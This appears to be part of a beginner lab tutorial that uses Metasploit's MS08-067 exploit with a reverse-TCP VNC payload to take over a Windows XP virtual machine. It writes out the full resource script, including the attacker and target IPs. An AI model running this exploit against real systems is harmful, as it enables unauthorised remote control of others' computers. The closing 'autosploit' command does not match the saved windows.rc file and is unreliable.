Part 1 (Installing The Virtual Network)
Part 2 (Searching for Targets and their Weaknesses)

Legal Disclosure: Don’t do this on networks other than your own without written consent from the network administrator. Otherwise, you would be committing an illegal act.

Roadmap

Now comes the fun part. Using a tool called Metasploit in order to break into the Windows XP computer with a VNC. a VNC is simply a window that displays the target desktop. It allows you to control it the same way you are controlling your virtual machine. There are 4 simple steps to this.

Searching for the exploit command

Loading the exploit (Code to exploit the weakness)

Loading the payload (Software used to give you control)

Set the Settings and “pwn the box”

Find your own IP Press Ctrl+Shift+T in order to bring up a new terminal tab

ifconfig

You should get something like this. I highlighted the IP in yellow. Your IP will be in the same spot but most likely different.

image tooltip

Searching for the Exploit Command

The first thing we need to do is use the code identified in part 2. MS08_067 is the exploit we will use. But how do we load it? We need to get the command from the rapid7 database. Go to…

https://www.rapid7.com/db

Type “MS08_067” in the search field and make sure “Metasploit Module” is selected in the dropdown box.

Look at the code under “Module Name.” We will use that once we load Metasploit

Loading the Exploit and Payload

Offensive Security: Metasploit Commands

Offensive Security: Exploits

Offensive Security: Payloads

Open a terminal and load nano again. Type in the following.

nano windows.rc

We need to copy and paste the following lines of code which will later be used as commands. Be sure the 192.168.1.244 IP is set to your own target PC.

use exploit/windows/smb/ms08_067_netapi
#Use the exploit we found in Rapid7 with the "use" command.
set PAYLOAD windows/vncinject/reverse_tcp
#There are many useful payloads. I will recommend we use a reverse TCP payload in order to gain a VNC session. Load the payload with the "set" command.
set RHOST 192.168.1.244
#I am using the ip of my own target computer. Use the IP for your own
set LHOST 192.168.1.48
#use the IP you just looked up in ifconfig
set ViewOnly false
#Allows the user to control the machine
exploit
#HACK IT!!!

Press Ctrl+O then Enter to save the file.

Hack It!

Finally, run the command

autosploit

Congratulations, you did it!!

image tooltip